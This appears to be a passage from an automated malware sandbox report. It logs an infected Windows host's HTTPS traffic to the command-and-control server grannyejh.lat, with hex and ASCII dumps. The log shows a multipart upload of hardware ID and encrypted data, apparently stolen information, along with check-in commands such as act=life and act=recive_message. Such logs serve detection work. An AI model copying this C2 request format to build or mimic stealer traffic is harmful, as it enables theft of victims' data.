2024-12-18 14:58:01 UTC	15331	OUT	Data Raw: 2d 2d 39 34 35 4b 35 34 48 46 38 36 38 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 42 38 41 36 33 30 36 31 34 34 36 39 36 35 35 30 30 44 35 37 46 39 44 44 44 33 37 42 45 30 43 0d 0a 2d 2d 39 34 35 4b 35 34 48 46 38 36 38 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 39 34 35 4b 35 34 48 46 38 36 38 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 36 39 38 39 37 38 33 33 37 30 0d 0a 2d 2d 39 34 35 4b 35 34 48 46 38 Data Ascii: --945K54HF868SContent-Disposition: form-data; name="hwid"0B8A63061446965500D57F9DDD37BE0C--945K54HF868SContent-Disposition: form-data; name="pid"1--945K54HF868SContent-Disposition: form-data; name="lid"yau6Na--6989783370--945K54HF8
2024-12-18 14:58:01 UTC	15331	OUT	Data Raw: 2c 04 f9 a8 d7 18 4d b2 f8 79 10 53 fc a8 c6 7d 54 54 94 7f 73 a9 7c b7 5f 9c ef bb 80 78 3e 4d 34 5c 92 7e 7a ac 0c 05 77 a1 b3 f8 6d e1 0a d9 5c 71 0f e1 46 ab a8 c0 a7 14 fe b4 8c 85 cf 6a 5d ba 96 ee 5c b3 60 8c 86 8a 58 89 27 e3 ae 17 99 49 4b 3b ec 4e 5f 1a 0c 62 33 83 3d 9d 17 13 3d 11 5c 3d b3 e7 1d 10 77 63 27 c5 90 5d 58 85 81 50 17 34 7c 48 73 d3 d4 12 10 bd 76 72 54 06 23 e3 8f 3b 8b 6d 5d d2 1b d6 70 9b 42 90 ff 94 d7 9e c1 2f 6e 24 6b 2c 18 0e f1 fd 97 b9 b8 28 39 f0 94 d1 f5 1b 10 2c ce fd d4 2e bf fb fb bc ca cd a5 be 0f 08 60 28 8b 52 e2 68 43 e9 b7 23 6f 69 ef 7f 7c 49 bf 7d 7f 56 d9 c6 3f 7c 60 c0 02 fa a3 23 fe 9b 87 19 7c 19 a2 51 d2 a0 1e 3e 20 1a 0e 5b 2d 00 ea 07 71 f0 14 ac 60 99 3c 82 0d 5a 61 35 f4 8e 8b d8 45 b3 ad dd 98 bd a8 Data Ascii: ,MyS}TTs\|_x>M4\~zwm\qFj]\`X'IK;N_b3==\=wc']XP4\|HsvrT#;m]pB/n$k,(9,.`(RhC#oi\|I}V?\|`#\|Q> [-q`<Za5E
2024-12-18 14:58:01 UTC	15331	OUT	Data Raw: d2 4c f2 4f 75 8e f9 26 f2 ec 84 3d d3 2d e7 6b b8 87 cd b9 48 7b 90 b0 30 52 f1 e0 fc d9 8f 27 13 04 3b 84 9a 37 8e 3d 00 d9 f5 38 e2 42 6b 8d 56 36 66 e6 f9 2b 5c dd e9 c6 18 4e a4 37 47 ba dc 86 31 51 1f 38 24 dd 5b b3 e1 47 a1 5e b7 33 4b c6 65 38 78 5d 5e ea cb 1e 94 20 d2 54 42 d2 ca 96 04 7f f5 f6 e4 d6 e9 f4 ff b2 14 64 14 47 4a 09 0b cf 54 38 87 ea f3 89 be 45 13 1f 37 c2 f5 c5 c3 5f b0 0a 23 b6 20 e0 9d 2a 2e e1 0d 31 22 ec f9 69 05 36 81 6b 8b f2 a4 6a 7d 2d df cd 39 96 2f 0d cc e3 9a 50 0f 75 48 d9 35 65 4e 1f 34 c6 e9 f7 e8 33 cc e0 59 7a c5 82 b6 ef 42 15 a3 7c 58 73 d5 92 31 fe fa 9b 14 47 8b d3 5e 80 d8 b2 56 19 39 e8 fb ed cd b3 32 c5 16 d5 fa 27 b9 d7 e8 2f eb ee e0 de 2a ef 87 e9 5d 82 60 68 d9 66 5b 15 0b 88 eb 81 bf ab 27 07 be 9b e5 Data Ascii: LOu&=-kH{0R';7=8BkV6f+\N7G1Q8$[G^3Ke8x]^ TBdGJT8E7_# .1"i6kj}-9/PuH5eN43YzB\|Xs1G^V92'/]`hf['
2024-12-18 14:58:01 UTC	15331	OUT	Data Raw: 71 3d 09 79 36 6c 19 7a 3d e5 5e bb ba ba f8 0e 0e 4d 33 4c 27 e5 e4 83 40 90 ac 9c 30 a3 66 60 ac 25 2a 57 a4 b0 cf fc a3 1f 07 9d c9 ca 7c 5d eb 25 92 6c 43 3f 45 fa e1 97 79 79 8e d2 42 73 ac bd fb f1 da 69 cc 09 8b 3b b3 80 d5 f4 ef d7 c5 5f a9 3b d1 44 08 4a 57 75 60 86 94 04 25 23 b0 6f 70 75 e5 69 9c 4b 23 93 9c 82 af ea 75 f4 bd e3 34 59 af 38 e4 62 43 f9 fd bd f5 55 8b 61 25 e4 02 56 a6 33 b2 77 68 95 22 85 a3 27 2b 7e e3 5f 65 1d ca 98 e1 36 cf c8 73 35 ab 53 0f e6 e2 11 4b b3 1e aa ed 0e 80 aa 39 27 7e b6 6f b2 66 9c 1b 1a 57 86 7f 98 a6 cb d9 ce a2 d7 0a 32 4b 46 8d 1f 60 48 cc f2 fa 72 7b 24 18 01 ac 3e c7 7f 1a 19 39 71 08 ec 71 65 00 91 d6 34 1c 9f 11 2c 81 63 63 58 43 42 dd 8d c9 cc 9f f2 50 da 88 55 4e 4b 60 19 b0 3b 77 56 75 8b 5b c7 8a Data Ascii: q=y6lz=^M3L'@0f`%*W\|]%lC?EyyBsi;_;DJWu`%#opuiK#u4Y8bCUa%V3wh"'+~_e6s5SK9'~ofW2KF`Hr{$>9qqe4,ccXCBPUNK`;wVu[
2024-12-18 14:58:01 UTC	15331	OUT	Data Raw: b6 74 40 65 77 e4 b1 4a 29 ca 3b de 1b 00 97 65 e2 34 18 59 db c9 85 c2 96 70 42 be 1a a6 b8 d5 24 90 13 23 0b f9 05 7c 1c 11 5f 31 8d 0e 49 80 e9 c0 7f f4 16 34 fd 6d 48 35 d3 35 98 ed a5 a3 6d 87 a5 b7 95 a1 24 c4 67 c2 4b 05 3a 95 ad d2 b2 0f 12 24 dc eb 90 31 d1 31 d1 91 3a 36 a1 7a 63 5b 9d 7c c4 98 d0 e0 c4 da 3e c9 53 7a 2d 0e da 11 2f 0c 80 cf 6f f4 45 b2 81 8a ad 07 7c eb 53 72 fa ef 08 28 00 ba 15 07 cc 91 b7 65 19 25 7b 70 7d 70 a1 b8 96 b2 02 38 21 b3 61 19 ed 27 8c a3 53 cc 4c 23 8d 5b 59 51 5d a2 2d 39 9a dd c1 ff 32 5c e0 88 d4 2d 8c a6 a9 a2 42 44 c0 f2 e9 68 72 fa 6a f6 4b f3 36 9e d5 c7 3a ef b1 fc 7b 3d 45 50 73 bc 55 f0 c8 c6 dd 6f e6 98 65 a6 b0 06 f6 c5 4e ad 2e d9 3c 9f c6 c4 ae 0f 96 2d d9 ad 26 fd 73 72 f7 99 ef 75 da 9a 62 d8 95 Data Ascii: t@ewJ);e4YpB$#\|_1I4mH55m$gK:$11:6zc[\|>Sz-/oE\|Sr(e%{p}p8!a'SL#[YQ]-92\-BDhrjK6:{=EPsUoeN.<-&srub
2024-12-18 14:58:01 UTC	15331	OUT	Data Raw: 2e 57 ed 3d 54 e9 60 76 92 a8 fa 72 69 e8 42 94 0d 5c 54 3c 9c fc be 23 11 4d bf 4d d5 3a 81 7c 5e bc 56 0c ea 91 13 0e f1 83 1f ab 0c e9 e5 c7 59 5d 38 d0 7d fd ba 69 36 68 09 a7 ef fe 4a 93 df 6e db 2a 43 d1 43 c2 e9 06 80 9a 2d 0b ba 0f e2 65 4b 0a ad 91 1f ed 96 a0 69 44 85 06 10 73 1e 68 99 25 12 73 1c 5e 39 61 61 f1 95 00 ea fe 65 8e e1 a3 a1 13 9e d6 62 3c e2 df 42 3f 66 b8 ae 39 be 3b 59 93 29 06 51 3d 84 3a 95 90 f4 cf 68 7a fc 60 04 dc 48 7f 58 71 04 3c 7b 2e e1 6f 4b d8 ce e7 33 94 5f 6c 2c 27 2a a4 de 82 c4 5d 52 7c 59 42 a0 77 32 3b 2a 14 04 4b 4b dc e9 3a bc a7 da 36 43 5b 8b 80 cd 45 32 0d 72 12 dc dd fc 85 28 36 01 a1 78 5e a9 4a de a4 80 8a 3d 6b 1f 97 c1 a5 6f f2 91 a1 cf 6d 42 c2 62 b2 a3 03 0f b3 da 02 3d b0 0a 75 d9 4c 01 6a 2d 42 65 Data Ascii: .W=T`vriB\T<#MM:\|^VY]8}i6hJnCC-eKiDsh%s^9aaeb<B?f9;Y)Q=:hz`HXq<{.oK3_l,']R\|YBw2;*KK:6C[E2r(6x^J=komBb=uLj-Be
2024-12-18 14:58:01 UTC	15331	OUT	Data Raw: d4 5a 7f 9b f1 34 e0 69 c8 67 82 e4 3a 5b be 7a 22 d0 f1 b7 b2 85 2f 83 eb ff 22 6d 45 49 f6 7c 13 fa 2b 06 e7 19 73 6c 46 9e bf 08 e5 1b 77 78 a4 25 58 d7 4d bd 8d e3 b6 1b f1 b3 7f 89 bc 2f 46 c1 7e fa 85 47 6c cb 83 02 f2 dc a7 7e 4d 56 e2 48 0f e7 2b b8 9c c9 f2 c0 85 d8 f9 b2 09 79 1c 3e 64 f5 a3 e3 29 bf 81 00 2b 9f 09 b5 50 29 f6 c8 44 45 0c 87 d3 cc 75 ff 13 1e 1a 03 f4 c1 7f 66 38 68 cc c3 34 c6 8b 83 4d b7 01 f3 0c 0e 34 c7 0c 0e 64 43 0c 73 d9 0c 65 ef d5 cf 92 6f 1e e4 74 35 6d 13 50 f4 5b 8e f2 1d 16 d3 4e 47 55 40 e2 b4 28 18 a1 64 f3 a1 bd 10 20 26 4d 25 93 c9 10 c3 c2 18 e6 05 de e7 c5 a1 7b 86 15 1f ff 40 c3 8b 0b 1f 42 7e 16 d8 69 6b 3d 43 19 ea 60 c4 f0 28 54 bc da cd ef f6 43 c5 75 03 d5 f2 27 d0 45 7e fd e1 7f 3d 62 f9 79 b7 05 be 5f Data Ascii: Z4ig:[z"/"mEI\|+slFwx%XM/F~Gl~MVH+y>d)+P)DEuf8h4M4dCseot5mP[NGU@(d &M%{@B~ik=C`(TCu'E~=by_
2024-12-18 14:58:01 UTC	15331	OUT	Data Raw: 77 6b a3 2e 5c 0d f5 4c e4 6b 6b 52 f3 2c 01 36 d5 e4 e1 31 97 bd e5 ae 9b 46 1b 1d 25 43 ab f8 a2 37 a8 d8 a6 2c 33 f4 ac af 1d c6 41 10 e8 0e fd f6 e8 8f 09 a5 68 eb 0b fb 7d f1 4f 94 c8 07 f8 61 0b 07 59 b5 1a c4 8c d4 0f 3f 2b fc 60 e4 3d c0 7a 9a fc 61 96 10 6d 4a 3c 3c 7f 71 3f 46 29 3e 40 f9 ef fc ee 0b 8a c8 0a 49 e7 a1 f7 c5 44 a3 95 ae a3 b1 6b 75 e4 53 4f ab 85 57 30 53 60 7c b2 df a2 46 eb a2 32 15 ff e0 c9 8c 87 07 a4 c1 6e 0e 9f c4 7c a8 12 88 86 29 71 df b0 57 d7 cf 06 e7 74 42 3f 74 03 d1 5b e6 97 1c c3 4f ed 2e 98 a3 ea dd ea d0 1d da e5 7c 0f 94 fa 7c fa 78 6c 90 e2 ca bd 8d 3c 55 58 36 22 3f af 35 a4 73 ab ec 6c e1 ad 32 79 4a 4d b8 f8 1c 9f bb 05 a3 0f f4 eb dd f8 1f 57 d6 7f 96 c3 a4 88 11 4f 3e bd 77 57 39 63 93 d5 3c 50 57 b6 1c a9 Data Ascii: wk.\LkkR,61F%C7,3Ah}OaY?+`=zamJ<<q?F)>@IDkuSOW0S`\|F2n\|)qWtB?t[O.\|\|xl<UX6"?5sl2yJMWO>wW9c<PW
2024-12-18 14:58:01 UTC	15331	OUT	Data Raw: 76 bb 0b ae e0 ee ad 8e 2a cd 9b ca 24 78 7e b0 cf 86 66 6d 0f a9 aa e6 1e bd 23 b4 d9 6b 58 a4 d9 f4 1d 01 ab c5 ee b9 bb fc 82 ea fc ea 67 4f 93 59 74 c3 db 09 57 11 b9 d7 ed dd ef 01 12 24 29 20 0c 81 be 7f 68 da 58 fc ee 7d ee 8c 8b 9d d9 46 9d 95 d7 02 1f 0d 4e 74 12 36 f7 e7 db 0a ef 6b 4c a7 1f 47 85 0c 2b bb 8d bf bf d9 76 ea 0c e2 6d ff 21 e6 66 48 69 36 c4 bc 1c b4 e2 d3 a5 37 14 c5 d4 9a 8f 0c 90 95 50 5c 71 4f 49 2f 4b b7 17 98 7c df 4c f9 ec 3e f4 76 ed 04 31 4c 92 76 01 55 89 06 ad 12 28 2b 3b 29 fe 9b 61 95 87 cc 88 c7 3b 85 c1 ce 91 6c db fc 8f aa 02 5f c2 0b ff 97 27 00 3f ef 92 73 b0 17 64 4e 32 cb 8a 1b 7e 44 0e 36 33 36 cf a4 6c 58 89 e8 79 94 1f 59 70 5f fb e8 24 ac 5d fa 49 59 9f 97 c9 ae ab 3f 1b 92 19 13 3d 73 c9 bf 34 58 50 10 2f Data Ascii: v*$x~fm#kXgOYtW$) hX}FNt6kLG+vm!fHi67P\qOI/K\|L>v1LvU(+;)a;l_'?sdN2~D636lXyYp_$]IY?=s4XP/
2024-12-18 14:58:01 UTC	15331	OUT	Data Raw: 2e a6 36 d4 f6 6f 4d 64 d3 7c 32 5b a2 98 9f df 78 1a 08 93 7d 26 cb fa ec cf 99 56 7a ea 31 7b 16 b4 fc 2b f4 98 5d 86 7b 5a d9 73 77 6d 8a 29 95 fc 32 dc ef e6 87 67 a5 42 dc 33 06 8a 66 6f ce a6 84 67 3b f6 68 32 da 5a a3 a6 56 de 8d 2d fb bf 77 48 de ba 34 66 5e 30 94 e7 72 7f 6b 5c 29 27 a1 c0 bf c2 a0 72 8a ad e8 6d c8 0a 9d 7b 09 45 0d 24 02 7a 35 63 70 b9 d7 fc f2 c5 49 57 cc 1b 19 ff ae 85 2b 5f c7 f2 87 78 27 16 aa 96 f3 4d 87 66 93 16 ae 61 b1 00 db d5 af d3 66 f4 d4 b5 94 fe 76 96 52 19 bc 9a 06 be 2f 5e 95 18 ec ff 77 fc 83 1e 02 f1 57 0e 47 36 72 be ae 6e 7f 75 65 b7 a6 da e3 ed c5 c0 ca 55 79 ef 8d 3f 28 b6 e4 55 e9 a0 8b d6 4d 4e 2b c1 36 a7 2b 4f 79 0d 3b 6b ee 5f 7c 5f 37 07 9d 75 3c 81 35 cb 36 2e 3d 59 29 7a 6f 7a 56 d0 f5 ad 8e 83 83 Data Ascii: .6oMd\|2[x}&Vz1{+]{Zswm)2gB3fog;h2ZV-wH4f^0rk\)'rm{E$z5cpIW+_x'MfafvR/^wWG6rnueUy?(UMN+6+Oy;k_\|_7u<56.=Y)zozV
2024-12-18 14:58:06 UTC	1040	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:58:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5uc7rqvb80v9jap80b5ahhd5qi; expires=Sun, 13-Apr-2025 08:44:43 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2Flw8AXuZZNXxdBTMN%2FbMND8PjbIhyAGFoiSdzhJlgsxsAK%2B9IBU3jlQNzq4HMEZeeSkm3KCOG5%2F5Ke9tTMggAkVHVeghC4lIiRzHfQJiefE%2BP6CPIOSLsT2NHj3hDEHO"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4002397d2843b5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1707&min_rtt=1703&rtt_var=648&sent=314&recv=617&lost=0&retrans=0&sent_bytes=2829&recv_bytes=589195&delivery_rate=1676234&cwnd=225&unsent_bytes=0&cid=5e3ebf5b7bca9be7&ts=4459&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.10	50141	172.67.179.109	443

Timestamp	Bytes transferred	Direction	Data
2024-12-18 14:58:07 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: grannyejh.lat
2024-12-18 14:58:07 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 79 61 75 36 4e 61 2d 2d 36 39 38 39 37 38 33 33 37 30 26 6a 3d 26 68 77 69 64 3d 30 42 38 41 36 33 30 36 31 34 34 36 39 36 35 35 30 30 44 35 37 46 39 44 44 44 33 37 42 45 30 43 Data Ascii: act=get_message&ver=4.0&lid=yau6Na--6989783370&j=&hwid=0B8A63061446965500D57F9DDD37BE0C
2024-12-18 14:58:11 UTC	1033	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:58:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=qg2ajp5fgpk8thsq9a7arush1e; expires=Sun, 13-Apr-2025 08:44:47 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nCJkAFJYUKYD0m6tTvZAJeEJWQEHPv4rFb7Oukzrgl5XbW%2F%2BpNdwoCoDAUJ9eIQkHA3tM%2F0fXw3M9cF3RZMoipFLvlkidCzmikPaEGRaqHeB4s%2B4oECstGp0e0zH%2Fvzy"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f40025d6e1a9e04-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1843&min_rtt=1840&rtt_var=696&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2830&recv_bytes=984&delivery_rate=1565683&cwnd=236&unsent_bytes=0&cid=da296cc4459a94de&ts=3902&x=0"
2024-12-18 14:58:11 UTC	54	IN	Data Raw: 33 30 0d 0a 7a 4e 4d 50 2f 30 69 6e 62 78 70 6c 4f 43 4e 6f 70 44 77 31 66 4a 5a 67 34 56 43 65 45 41 6d 67 64 4e 4b 62 2f 4e 75 42 56 66 2b 58 6a 67 3d 3d 0d 0a Data Ascii: 30zNMP/0inbxplOCNopDw1fJZg4VCeEAmgdNKb/NuBVf+Xjg==
2024-12-18 14:58:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.10	50164	172.67.179.109	443

Timestamp	Bytes transferred	Direction	Data
2024-12-18 14:58:41 UTC	260	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: grannyejh.lat
2024-12-18 14:58:41 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-18 14:58:45 UTC	1029	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:58:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=emdd3ril7bk5u0lgtf7lmek3j4; expires=Sun, 13-Apr-2025 08:45:21 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2qWRAKh6a%2BLs0X1tpb8Lxc%2BuXH3fgu6VhPSElPYhJ50KNTlXgY6TbXBQBwEW7T6LdIGdhCV%2FQpea2GtOPsrug5irw8CJ1BU5UM48OhgcNPJzbBhPWqG8JFJ0W8LH4VBr"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4003338eb378e7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1860&min_rtt=1860&rtt_var=698&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2831&recv_bytes=904&delivery_rate=1565683&cwnd=234&unsent_bytes=0&cid=d19b123c8fdffb61&ts=4170&x=0"
2024-12-18 14:58:45 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-18 14:58:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.10	50170	172.67.179.109	443

Timestamp	Bytes transferred	Direction	Data
2024-12-18 14:58:47 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 47 Host: grannyejh.lat
2024-12-18 14:58:47 UTC	47	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=PsFKDg--pablo&j=
2024-12-18 14:58:51 UTC	1029	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:58:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=r33bjfi3s0l46uhugi13l4uacg; expires=Sun, 13-Apr-2025 08:45:27 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5AOPg7IOBd7G6CEqK%2BqwzxnyzcHS1iRVZPPXhzS6cqKZYoB2j788e4VjGEkr%2FHuExRHT0LZisOFY72uECJHKqbZHaeFZNNcnIRCUGUimW4vJE8qtPmA5tRPWsiM%2F2vGs"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f40035578fc42fb-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1582&min_rtt=1574&rtt_var=607&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=944&delivery_rate=1777236&cwnd=212&unsent_bytes=0&cid=dfb535689f18b8ae&ts=4617&x=0"
2024-12-18 14:58:51 UTC	340	IN	Data Raw: 34 39 31 63 0d 0a 52 69 6f 41 73 36 42 4f 49 2f 72 72 76 71 70 34 50 4a 61 4c 42 53 47 6f 4e 6b 56 45 75 36 77 47 36 52 52 46 34 78 51 47 70 38 73 39 43 48 61 52 6d 6e 6f 50 32 4a 6a 62 69 45 4a 49 35 50 35 67 44 59 70 58 49 57 61 42 79 6d 65 46 5a 79 44 50 4e 6e 44 4b 36 58 78 4d 59 64 2f 54 4b 77 2f 59 6a 73 61 49 51 6d 66 74 71 57 42 50 69 67 78 6e 49 64 48 4f 5a 34 56 32 4a 49 68 37 64 73 75 6f 4c 6b 5a 6e 32 38 55 74 52 35 75 48 30 38 38 64 57 66 66 68 61 30 6a 46 58 69 68 6d 6c 34 35 6a 6b 7a 5a 2f 77 56 6c 6a 30 36 6f 4c 53 33 50 59 67 6a 4d 50 67 63 6e 62 78 46 6f 47 74 4f 70 67 51 38 52 51 49 53 2f 54 78 47 36 4e 64 79 47 4a 5a 47 2f 42 6f 79 35 49 5a 4e 72 50 4a 46 4f 57 6a 64 54 45 47 31 50 33 71 53 6b 44 7a 55 78 6e 66 70 6d 64 56 6f 68 6e 4e Data Ascii: 491cRioAs6BOI/rrvqp4PJaLBSGoNkVEu6wG6RRF4xQGp8s9CHaRmnoP2JjbiEJI5P5gDYpXIWaBymeFZyDPNnDK6XxMYd/TKw/YjsaIQmftqWBPigxnIdHOZ4V2JIh7dsuoLkZn28UtR5uH088dWffha0jFXihml45jkzZ/wVlj06oLS3PYgjMPgcnbxFoGtOpgQ8RQIS/TxG6NdyGJZG/Boy5IZNrPJFOWjdTEG1P3qSkDzUxnfpmdVohnN
2024-12-18 14:58:51 UTC	1369	IN	Data Raw: 6d 59 4e 6d 50 4a 36 58 77 49 5a 4e 2f 44 49 55 47 4b 67 64 66 44 48 30 7a 2f 34 47 70 4f 79 6c 6b 74 4b 64 72 4f 59 34 46 38 4b 49 74 79 61 63 69 76 4a 45 67 69 6e 34 49 72 57 64 6a 52 6e 4f 73 66 54 76 50 6c 63 51 48 77 46 44 68 6f 77 49 35 6a 68 7a 5a 2f 77 58 35 68 78 71 6f 76 52 32 48 5a 79 54 35 42 69 6f 2f 52 7a 51 68 59 38 65 64 74 51 4e 68 65 4b 53 44 61 78 32 2b 43 63 79 43 46 4e 69 71 46 72 6a 77 49 4f 70 48 6a 49 55 71 55 67 38 76 49 57 6b 47 36 38 43 64 45 78 68 52 2f 5a 74 33 50 59 49 70 79 4b 59 39 79 61 4d 4f 6e 4b 55 64 6b 32 38 49 72 53 35 43 42 33 63 55 52 55 66 54 73 61 6b 66 4d 57 43 59 6a 6d 59 41 6b 6a 47 35 6e 32 54 5a 4b 77 71 6f 32 43 6c 66 53 7a 43 4a 47 6a 73 6e 44 68 67 4d 65 38 2b 55 6e 47 34 70 61 49 69 6e 4c 7a 33 61 4f 65 Data Ascii: mYNmPJ6XwIZN/DIUGKgdfDH0z/4GpOylktKdrOY4F8KItyacivJEgin4IrWdjRnOsfTvPlcQHwFDhowI5jhzZ/wX5hxqovR2HZyT5Bio/RzQhY8edtQNheKSDax2+CcyCFNiqFrjwIOpHjIUqUg8vIWkG68CdExhR/Zt3PYIpyKY9yaMOnKUdk28IrS5CB3cURUfTsakfMWCYjmYAkjG5n2TZKwqo2ClfSzCJGjsnDhgMe8+UnG4paIinLz3aOe
2024-12-18 14:58:51 UTC	1369	IN	Data Raw: 6b 39 4c 34 76 43 6c 66 53 7a 43 4a 47 6a 73 6e 44 68 67 4d 65 38 2b 55 6e 47 34 70 5a 4c 79 50 63 77 57 57 42 65 43 4b 4c 65 6d 7a 4c 71 6a 5a 48 5a 74 48 4f 4a 45 75 56 68 39 6a 41 45 31 58 2f 37 32 64 43 77 42 52 70 5a 74 37 57 4a 4e 4d 32 45 34 5a 36 61 63 72 72 45 55 74 73 33 38 55 36 41 59 66 48 78 59 67 64 55 72 53 78 4a 30 2f 44 56 43 77 73 33 63 35 6a 68 6e 4d 6b 68 6e 56 70 77 71 4d 71 54 32 62 64 79 79 46 48 6d 49 37 59 7a 51 68 62 2f 65 56 72 41 34 51 55 49 44 36 5a 6c 69 53 6b 63 54 47 43 57 57 66 55 6f 47 52 58 4c 4d 69 43 4b 30 33 59 30 5a 7a 50 48 31 62 2f 37 32 39 44 32 46 45 70 4c 64 6a 45 59 6f 70 37 4b 34 64 32 5a 63 57 76 4b 45 68 6c 31 74 41 2b 52 4a 36 62 31 6f 68 55 48 76 50 78 4a 78 75 4b 59 6a 63 78 79 4e 67 6d 76 6e 55 70 6a 33 Data Ascii: k9L4vClfSzCJGjsnDhgMe8+UnG4pZLyPcwWWBeCKLemzLqjZHZtHOJEuVh9jAE1X/72dCwBRpZt7WJNM2E4Z6acrrEUts38U6AYfHxYgdUrSxJ0/DVCws3c5jhnMkhnVpwqMqT2bdyyFHmI7YzQhb/eVrA4QUID6ZliSkcTGCWWfUoGRXLMiCK03Y0ZzPH1b/729D2FEpLdjEYop7K4d2ZcWvKEhl1tA+RJ6b1ohUHvPxJxuKYjcxyNgmvnUpj3
2024-12-18 14:58:51 UTC	1369	IN	Data Raw: 4b 6b 35 6b 33 4d 63 6a 53 34 71 42 30 73 55 52 55 66 2f 37 5a 30 37 4f 57 43 4d 75 30 73 51 6b 78 54 59 67 6d 54 59 38 68 5a 77 70 52 32 4c 53 31 47 78 65 31 70 43 63 7a 78 59 65 72 4b 6c 72 54 63 70 62 4b 79 72 53 78 6d 57 48 65 43 43 45 66 32 7a 4e 75 79 56 4d 61 74 44 4d 49 30 43 63 6a 4e 6e 4d 48 56 72 79 35 69 63 4e 69 6c 4d 2f 5a 6f 47 4f 53 36 78 44 5a 61 42 4d 4a 4e 72 6e 50 51 68 6c 33 59 4a 30 41 5a 53 4b 30 4d 41 56 57 50 33 6c 62 55 72 42 57 43 77 69 31 63 64 68 6a 58 63 69 68 48 64 67 79 61 4d 69 53 32 48 65 7a 53 4e 4a 32 4d 65 63 7a 77 49 65 72 4b 6c 43 56 4d 